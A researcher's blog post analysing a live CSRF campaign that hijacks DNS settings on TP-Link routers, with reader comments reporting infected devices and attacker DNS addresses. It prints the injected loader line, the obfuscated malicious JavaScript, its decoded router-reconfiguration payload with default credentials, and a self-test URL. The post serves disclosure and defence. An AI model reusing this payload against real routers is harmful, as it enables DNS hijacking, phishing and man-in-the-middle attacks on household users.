Real-World CSRF attack hijacks DNS Server configuration of TP-Link routers

Introduction

Today the majority of wired Internet connections is used with an embedded NAT router, which allows using the same Internet connection with several devices in parallel and also provides some protection against incoming attacks from the Internet. Most of these routers can be configured via a web interface. Unfortunately many of these web interfaces suffer from common web application vulnerabilities such as CSRF, XSS, insecure authentication and session management or command injection. In the past years countless vulnerabilities have been discovered and publicly reported. Many of them have remained unpatched by vendors and even if a patch is available, it is typically only installed to a small fraction of the affected devices. Despite these widespread vulnerabilities there have been very few public reports of real-world attacks against routers so far. This article exposes an active exploitation campaign against a known CSRF vulnerability (CVE-2013-2645) in various TP-Link routers. When a user visits a compromised website, the exploit tries to change the upstream DNS server of the router to an attacker-controlled IP address, which can then be used to carry out man-in-the-middle attacks.

Analysis of the exploit

This section describes one occurrence of the exploit. I have seen five different instances of the exploit on unrelated websites so far and the details of the obfuscation differ between them. However, the actual requests generated by the exploits are the same except for the DNS server IP addresses.

As you would expect for malicious content added to a website the exploit is hidden in obfuscated javascript code. The first step is a line of javascript appended to a legitimate javascript file used by the website:

document.write("<script type="\&quot;text/javascript\&quot;" src="\&quot;http://www.[REDACTED].com/js/ma.js\&quot;">");

It is possible that the cybercrooks append this line to various javascript files on compromised web servers in an automated way.

This code just dynamically adds a new script tag to the website in order to load further javascript code from an external server. The referenced file "ma.js" contains the following encoded javascript code:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('T w$=["\\E\\6\\5\\m\\o\\3\\q\\5\\m\\8\\3\\7\\"\\5\\3\\G\\5\\j\\r\\6\\6\\"\\y\\B\\d\\e\\8\\v\\4\\5\\q\\u\\4\\o\\H\\n\\5\\5\\8\\A\\j\\j\\a\\i\\e\\d\\f\\A\\a\\i\\e\\d\\f\\B\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\j\\u\\6\\3\\4\\z\\8\\e\\j\\s\\a\\f\\F\\n\\r\\8\\C\\3\\4\\l\\3\\4\\z\\8\\e\\1\\n\\5\\e\\I\\i\\n\\r\\8\\6\\3\\4\\l\\3\\4\\7\\2\\c\\d\\8\\2\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\b\\b\\c\\d\\8\\h\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\k\\k\\c\\s\\3\\a\\6\\3\\7\\2\\h\\b\\c\\Q\\a\\5\\3\\x\\a\\m\\7\\b\\1\\b\\1\\b\\1\\b\\c\\i\\v\\e\\a\\d\\f\\7\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\7\\2\\b\\g\\1\\2\\9\\P\\1\\D\\g\\1\\9\\R\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\h\\7\\9\\1\\9\\1\\9\\1\\9\\c\\C\\a\\l\\3\\7\\p\\t\\2\\p\\S\\D\\O\\p\\t\\K\\p\\J\\g\\L\\N\\E\\j\\6\\5\\m\\o\\3\\y\\q"];M["\\x\\4\\d\\5\\3\\o\\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))

At first this code looks quite complicated and you probably don't want to manually analyze and decode it. However, it is clearly visible that the file just contains one big eval call. The parameter to eval (the code which is executed) is dynamically computed by an anonymous function based on the parameters p,a,c,k,e,d. A little bit of googling for "eval(function(p,a,c,k,e,d)" shows that this is the result of a publicly available javascript obfuscator. There are several online javascript deobfuscators you can use to reverse engineer the packed javascript. Alternatively, you can also just replace "eval" with "console.log" and then paste the code to the javascript console of Chrome Developer Tools. This just prints out the decoded javascript, which would otherwise be passed to eval. The result of the decoding is the following code:

var _$ = ["\x3c\x73\x74\x79\x6c\x65\x20\x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\x2f\x63\x73\x73\"\x3e\x40\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x28\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x6d\x69\x6e\x3a\x61\x64\x6d\x69\x6e\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x2f\x75\x73\x65\x72\x52\x70\x6d\x2f\x4c\x61\x6e\x44\x68\x63\x70\x53\x65\x72\x76\x65\x72\x52\x70\x6d\x2e\x68\x74\x6d\x3f\x64\x68\x63\x70\x73\x65\x72\x76\x65\x72\x3d\x31\x26\x69\x70\x31\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x30\x30\x26\x69\x70\x32\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x39\x39\x26\x4c\x65\x61\x73\x65\x3d\x31\x32\x30\x26\x67\x61\x74\x65\x77\x61\x79\x3d\x30\x2e\x30\x2e\x30\x2e\x30\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x3d\x31\x30\x36\x2e\x31\x38\x37\x2e\x33\x36\x2e\x38\x35\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x32\x3d\x38\x2e\x38\x2e\x38\x2e\x38\x26\x53\x61\x76\x65\x3d\x25\x42\x31\x25\x41\x33\x2b\x25\x42\x34\x25\x45\x36\x29\x3b\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x20"];
document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);

Although this code is still obfuscated, it can easily be understood by decoding the hex-encoded strings. The string "\x77\x72\x69\x74\x65\x6c\x6e" is the hex-encoded version of "writeln" and given the way object oriented programming in javascript works the line 'document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);' is just a fancy way of writing 'document.writeln(_$[0]);'. The array element _$[0] contains the stuff which is written to the document and after decoding the escaped hex characters you get the following equivalent code:

document.writeln('<style type="text/css">@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')

So the obfuscated javascript adds a style tag to the current html document. The css in this style tag uses @import to instruct the browser to load additional css data from 192.168.1.1, which is the default internal IP address of most NAT routers. So it is obviously a CSRF attack which tries to reconfigure the router. The following section shows an analysis of what the request does with some TP-Link routers.

Analysis of the CSRF payload

It is obvious that the payload tries to reconfigure the options for the DHCP server included in the router at 192.168.1.1. While the parameters also include the start/end of the DHCP ip address range, the main purpose of the exploit is to change the primary DNS server to 106.187.36.85. The secondary nameserver points to a publicly available recursive DNS server (in this case the public DNS server provided by Google) in order to make sure that the user doesn't notice any connectivity problems in case the attacker-controlled nameserver is (temporarily) unavailable for any reason. Searching for the string "userRpm/LanDhcpServerRpm" quickly revealed that the exploit is targeting TP-Link routers. The fact that some TP-Link routers are vulnerable to CSRF attacks has already been publicly reported [1] by Jacob Holcomb in April 2013 and TP-Link has fixed this problem for some devices since then. Experiments have shown that several TP-Link routers are actually vulnerable to this CSRF attack (see below for an incomplete list of affected devices).

It is also worth noting that a web server should use POST instead of GET for all actions doing persistent changes to the router. This can protect against attacks in some scenarios where the attacker can only trigger loading a given URL e.g. by posting an image to a public discussion board or sending an HTML email (which could also be used to trigger attacks like this if the victim has enabled loading of remote images). However, even a POST request to the router can be issued in an automated way if the attacker can execute javascript code in the client browser. So in order to further protect against CSRF the server should either add a securely generated CSRF token or use strict referer checking (which is easier to implement on embedded devices).

The affected TP-Link routers use HTTP Basic Authentication to control access to the web interface. When entering the credentials to access the web interface, the browser typically asks the user whether he wants to permanently store the password in the browser. However, even if the user doesn't want to permanently store the password in the browser, it will still temporarily remember the password and use it for the current session. Since the session is only controlled by the browser behavior, the router can't actively terminate the session e.g. after a certain timeout or when clicking a logout button. Due to this limitation of HTTP Basic Authentication the configuration web interface has no logout button at all and the only way to terminate the session is closing and reopening the browser.

The CSRF exploit also includes the default credentials (username=admin, password=admin) in the URL. However, even if a username/password combination is given in the URL, the browser will ignore the credentials from the URL and still try the saved credentials or no authentication first. Only if this results in an HTTP 401 (Unauthorized) status code, the browser resends the request with the credentials from the URL. Due to this browser behavior the exploit works if the user is either logged in to the router or if the standard password hasn't been changed.

Consequences of a malicious DNS server

When an attacker has changed the upstream DNS server of a router, he can then carry out arbitrary man-in-the-middle attacks against users of the compromised router. Here is a list of several possible actions which can be carried out by redirecting certain dns hostnames to an attacker server:
* Redirect users to phishing sites when opening a legitimate website
* Redirect users to browser exploits
* Block software upgrades
* Attacking software updaters which don't use cryptographic signatures
* Replace advertisements on websites by redirecting adservers (that's what the dnschanger malware did [2])
* Replace executable files downloaded from the official download site of legitimate software vendors
* Hijack email accounts by stealing the password if the mail client doesn't enforce usage of TLS/SSL with a valid certificate
* Intercept communication between Android/IOS Apps and their back end infrastructure

As of now I do not know what kind of attacks the cybercrooks do with the malicious DNS servers. I have done some automated checks and resolved a large number of popular domain names with one of the DNS servers used for the attack and compared the results against a self-hosted recursive resolver. Due to the prevalence of round-robin load-balancing on DNS level and location-dependent redirection used e.g. by CDNs (content delivery networks) this automated comparison did result in a huge number of false positives and due to time constraints I could only manually verify those IP addresses which appear for a significant number of different hostnames. None of them turned out to be a malicious manipulation. However, it is very well possible that the infected routers are used for targeted attacks against a limited number of websites. If you find out what kind of attacks are carried out using the malicious DNS servers, please drop me an email or leave a comment in my blog.

Prevalence of the exploit

I discovered this exploitation campaign with an automated client honeypot system. Until now I spotted the exploit five times on totally unrelated websites. During that time the honeypot was generating some 280 GB of web traffic. The were some differences in the obfuscation used for the exploit but the actual CSRF requests generated are basically the same. The five instances of the exploit tried to change the primary nameserver to three different IP addresses and it is likely that there are more of them which I haven't spotted so far.

Recommendations to mitigate the problem

If you are using an affected TP-Link router, you should perform the following steps to prevent it from being affected by this exploit:
* Check whether the DNS servers have already been changed in your router
* Upgrade your router to the latest firmware. The vulnerability has already been patched at least for some devices
* If you don't get an upgrade for your model from TP-Link, you may also check whether it is supported by OpenWRT
* Change the default password to something more secure (if you haven't already done so)
* Don't save your router password in the browser
* Close all other browser windows/tabs before logging in to the router
* Restart your browser when you're finished using the router web interface (since the browser stores the password for the current browser session)

Affected Devices

I have already checked some TP-Link routers I had access to whether they are vulnerable to the attack. Some devices do contain the vulnerability but are by default not affected by the exploits I've seen so far because they are not using the IP address 192.168.1.1 in the default configuration.

  • TP-Link WR1043ND V1 up to firmware version 3.3.12 build 120405 is vulnerable (version 3.3.13 build 130325 and later is not vulnerable)
  • TP-Link TL-MR3020: firmware version 3.14.2 Build 120817 Rel.55520n and version 3.15.2 Build 130326 Rel.58517n are vulnerable (but not affected by current exploit in default configuration)
  • TL-WDR3600: firmware version 3.13.26 Build 130129 Rel.59449n and version 3.13.31 Build 130320 Rel.55761n are vulnerable (but not affected by current exploit in default configuration)
  • WR710N v1: 3.14.9 Build 130419 Rel.58371n is not vulnerable

It is likely that some other devices are vulnerable as well.

If you want to know whether your router is affected by this vulnerability, you can find it out by performing the following steps:
1. Open a browser and log in to your router
2. Navigate to the DHCP settings and note the DNS servers (it may be 0.0.0.0, which means that it uses the DNS server from your router's upstream internet connection)
3. Open a new browser tab and visit the following URL (you may have to adjust the IP addresses if your router isn't using 192.168.1.1):

http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.4.4&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

If your router is vulnerable, this changes the DNS servers to 8.8.4.4 and 8.8.8.8 (the two IP addresses from Google Public DNS). Please note that the request also reverts the DHCP IP range and lease time to the default value.
4. Go back to the first tab and reload the DHCP settings in the router web interface
5. If you see the servers 8.8.4.4 and 8.8.8.8 for primary and secondary DNS, your router is vulnerable.
6. Revert the DNS settings to the previous settings from step 2
7. If your router is vulnerable, you may also upgrade it to the latest firmware and check whether it is still vulnerable.

Feel free to drop me an email or post a comment with your model number and firmware version so that I can add the device to the list above.

References

[1]: http://securityevaluators.com/content/case-studies/routers/tp-link_wr1043n.jsp
[2]: https://en.wikipedia.org/wiki/DNSChanger

56 thoughts on “Real-World CSRF attack hijacks DNS Server configuration of TP-Link routers

  1. Pingback: Lek in TP-Link routers actief gebruikt om DNS te kapen SecurIF

  2. Pingback: Sometimes, worrying about man-in-the-middle attacks is not just paranoia | Orcmid's Live HideOut

  3. Following hardware and firmware is vulnerable, no later firmware is currently available:

    Firmware Version:
    3.12.16 Build 130131 Rel.53760n
    Hardware Version:
    WA901N v2

  4. I recently found out that the dns servers and the router admin password (the default) of my tp-link changed.

    If you find out that multiple devices are redireced to 18tdn.com and from there to a linkbucks domain – your router (probally a tp-link like mentioed here) have been hacked.

    the solution is to hard-reset the router settings, and to change the default admin/admin access to prevent it from happening again..

  5. Hi
    I got here from an Ars Technica article about 300K routers being hijacked. My router is a TP-MR3220 and one of the factory default settings I left on was that the admin console can only be reached by devices connected to the ethernet ports of the router. Unsurprisingly, the DNS change test above will not work, as all my devices connect to the router via wifi.
    I wonder if it’s trivial to bypass this, as I find it hard to believe that many thousands of TP-Link router owners would have bothered to change the default setting to allow admin access from wireless users?

  6. Pingback: Hackers hijack 300,000-plus wireless routers, make malicious changes |

  7. Thanks a lot for your vulnerability report and blog. I have a WDR4300 v1 and running 3.13.33 Build 130617 Rel.46239n. It appears not be vulnerable, because I ran your test and got back a report from the router “You have no authority to access this router!”.

  8. 3.13.1 Build 121123 Rel.57760n on TL-MR3220 allows for manipulation with above test regardless of password in use.

  9. Pingback: Hackers hijack 300,000-plus wireless routers, make malicious changes | Techbait Tech News

  10. Pingback: Hackers hijack 300,000-plus wireless routers, make malicious changes | Ars Technica |

  11. The TP-LINK WDR-3500 is vulnerable with 3.13.22 Build 120807 Rel.36604n

  12. Pingback: Attack Campaign Compromises 300,000 Home Routers, Alters DNS Settings

  13. TL-WDR3500 *NOT* vulnerable after upgrade to:
    3.13.34 Build 130909 Rel.46031n

  14. Pingback: Attack campaign compromises 300,000 home routers, alters DNS settings | The P0ison News

  15. Pingback: Attack campaign compromises 300,000 home routers, alters DNS settings | Techbait Tech News

  16. Pingback: Attack campaign compromises 300,000 home routers, alters DNS settings | eSoftware

  17. Pingback: Mengecek & mencegah router TP-Link kena hijack CSRF. | BanyakGaul's Blog

  18. Pingback: Attack campaign compromises 300,000 home routers, alters DNS settings | WEBSITE CONSTRUCTION

  19. Just sorted out a TP-Link TD-W8901G, firmware version 3.0.0 Build 090730 Rel.08665 which suffered such an attack. The DNS addresses installed were 199.223.212.99 and 199.223.215.150.

  20. Pingback: TP-LINK dns hijacking malware « Valuable insight with every post

  21. TP-Link TD-W8901G, firmware version 3.0.0 Build 090730 Rel.08665 which suffered such an attack. Upgraded the firmware changed the password and it was compromised again. I have now change the default ip address, to a different class C address.

  22. TD-W8961ND is also vulnerable. No firmware update on TP-LINK website yet.

  23. Pingback: Hackers hijack 300,000-plus wireless routers, make malicious changes | The Intelligencer

  24. I too have a TP-Link TD-W8901G, firmware version 3.0.0 Build 090730 Rel.08665

    I emailed their technical support they responded saying:

    “TP-LINK will release firmware to fix the vulnerabilities very soon.
    Please keep an eye on TP-LINK web site. In the mean time you can follow FAQ 573 to use the router in a more secured manner.”

  25. We’ve seen this twice in the wild in the past week, and the symptoms from an end-user point of view seem to be that visiting Google presents a fake (but very realistic) page about needing to update Flash Player (no mention of Adobe – the obvious giveaway).

    I’m sitting in front of a TP-Link TD-W8901G which has been hijacked.

    DNS I’m seeing is:
    50.63.128.135

    Router password has also been changed – this was the case in the attack the other week too, so now need to do a full reset.

  26. Just to add, as I’d never realised until now, these devices (or at least the TD-W8901G) ship with remote access ENABLED via WAN out of the box.
    So, these routers can be exploited remotely with the default username/password. Shocking!

    If you have one, block remote access ASAP:
    http://www.tp-link.com/en/article/?faqid=308

    C’mon TP-Link – sort it out!

  27. W8961ND attacked twice – 199.85.126.10 / 199.85.127.10 – planted the first time. Second time, the ISP DNS 1 was moved to ISP DNS 2 slot and replaced by 162.248.99.162.

    Now changed gateway address and set up ACL. – So far so good, but a firmware update might be nice…

  28. BTW a good test (at least in the UK) is to run the iPlayer speed test. If the Download speed is significantly higher than the Steaming speeds, take a look at the router DNS settings or run CMD – ipconfig /all.

  29. Pingback: Security Risk : ใครใช้ Router ที่แถมมากับ ISP โปรดอ่าน | iKaew

  30. Firmware Version:
    3.15.2 Build 131119 Rel.36304n
    Hardware Version:
    WR841HP v1 00000000

    Ran your test and got back a report from the router “You have no authority to access this router!”.

    Does this mean its safe? Software was released 19th November 2013 … well before this particular vulnerability was discovered (I think).

    I emailed TP link for advice but no response yet.

  31. If you get this message when doing the test while you are logged in to your router, the router is probably safe.

  32. Dear Jacob – Many thanks for your reply. I feel a little more secure now :):)

    I wonder what will be next on the list for hackers?

  33. Hey Jakob,

    I can confirm it’s still happening. Potential target IPs are harvested/spoofed by the attacker scraping them en-masse via gaming servers/torrent sites. CSRFing in the IP (almost always compromised VPS accounts of an OVH customer) of their malicious DNS server to the router’s config, as you mentioned.

    It’s usually for the sole purpose of redirecting some popular domains (youtube/facebook for example) to a phishing/malware containing faux-Flash upgrade site, hosted on another compromised OVH account (shared and VPS from what I can tell).

    I’ve emailed OVH about these pwned accounts numerous times in the past 3 years on behalf of both myself and clients, they seem somewhat less than interested to take these accounts down or introduce active monitoring for specifically this type of (very predictable) activity. Very disappointing to see a large and established company acting in this fashion.

    For now folks can force their DNS settings locally (e.g to DYNDNS/Google Public DNS) and chuck out old router if they haven’t seen updates from 2012. Thanks for your fantastic article Jakob!

  34. Thank you very much for the article.
    I have TP_LINK W-8901GB and DNS has changed several times. I setup ACL, changed password again, change default router adresss from 192.168.xx to different. Tried to update firmware but there is any actual.

  35. Pingback: DNS modificati su 300 mila router anche in Italia (D-Link,Micronet,TP-Link e altri) | Felice Balsamo

  36. Hi Jacob,

    My router TP-Link TD-W8961NB (Version 1) was also affected and I found your article searching the DNS records these guys used (162.248.99.162
    37.1.206.9). I haven’t found a firmware update later than 2012 and don’t believe TP-Link will fix this. I have now modified the local network ips to an alternative address range hoping this might help:

    More here: http://forums.speedguide.net/showthread.php?79523-Alternative-to-192-168-1-x

    Thanks for sharing your knowledge,
    Oliver

  37. Just found a TP-Link TD8840T v2 which had been hijacked – default password had been changed when it was setup but stored in the browser. DNS hacked to point to 162.248.99.162 and 50.63.128.135, and access password changed. The latest firmware update on the TP-Link website for TD8840T v2 is dated 2010.

    Is there any way of testing from the PC to see if this has happened? In this case I noticed that the DNS addresses were odd, but several ISPs do this too.

  38. Addendum to the above: I should have mentioned that the router was redirecting Google to give a spoof “Outdated browser detected” message, with a button to click to ‘update’.

  39. Just found a TP Link router which had it’s DNS hijacked to 94.102.63.137. m.facebook.com was redirected to the same IP. Very useful: chrome://net-internals/#dns

  40. Hi,
    I experienced this issue twice: the first time, as I went of Facebook, Gmail or Wikipedia, the browser gave me a message asking me to download an extension of the browser itself to continue. So I changed all the settings of the router, including its password and that one of the wi-fi net. Today, two weeks after, I found again the dns of two devices of mine changed (94.249.192.105). This time the browser redirect me on a site which warns me that I broke the international law about pedophornographic contents (???), and that I have to pay 100 $ to unblock my computer (which was not a computer, but an android smartphone). The site looks like the Italian Police website, but clearly it is not. I checked the router settings, and the dns there are changed too. Oddly, not all devices that have access to my wi-fi connection are affected by dns changing. My router is a tp-link and unfortunately for this model the company hasn’t yet released a firmware update (the last one released traces back to one year ago).

  41. Pingback: Attack hijacks DNS settings on home routers in Brazil | Hitech journal

  42. Pingback: Attack hijacks DNS settings on home routers in Brazil – PCWorld | access blocked websites

  43. Pingback: Attack hijacks DNS settings on home routers in Brazil

  44. Pingback: Attack hijacks DNS settings on home routers in Brazil

  45. It also affects my WR841ND with latest firmware, but by default only if the IP addresses in the exploit code are in the 192.168.0.x range.

  46. Pingback: Gare à votre modem-routeur, une porte d’entrée de rêve pour les hackers | Objectif Sécurité Informatique

  47. Pingback: Attackers Use Phishing Emails, Exploits to Hijack Routers | Security news

  48. Pingback: Phishing Emails & Exploits Used by Attackers to Hijack Routers | Security news

  49. Pingback: Nowa fala ataków na rutery w Polsce – sprawdź swoje ustawienia serwerów DNS » Szkolny Klub Internetowy

  50. Many thanks for the informative article. I came across this site while searching to see if anyone else had the same problems. It seems that I am one among the hundreds of thousands. I note that most of the replies are from summer 2014 but I know that I was targetted within the last week so the saga still continues…

    I have just reset two TP-Link modems TP-W8961ND-V2 and TD-8840T-V3 each with the latest firmware available (2012). They are geographically separated but served by the same net provider and the DNS settings were both changed to 146.185.239.240 which seems to be in St.Petersburg. The secondary DNS was 8.8.8.4.

    The admin passwords were reasonably complex and changed away from default. One of them had its IP address reset back to the default 192.168.1.1.

    I will heed the wise words of all those who have been kind enough to add their comments, adjust settings as best I can and wait for TP-Link to catch up.

    Just a thought about how to spot the problem… Type IPCONFIG /ALL in a command window on Windows PCs and check the DNS address for changes.

  51. Pingback: No, you can’t join my wifi network | Dennis Nadeau Complaint Blog

  52. Still alive and well!
    I was using the TP-Link TL-WR940N v1 and my dns servers had been changed as well with my Mac home network. Sophos anti-virus detected all kinds of crap repeatedly from seemingly out of the blue even after many resets and cleaning of my system. The reason the malware kept popping up was this router had been compromised. Using my old Netgear WNR2000 until I find a new modern secure router.
    Can’t believe this old crap is still wreaking havoc!

Comments are closed.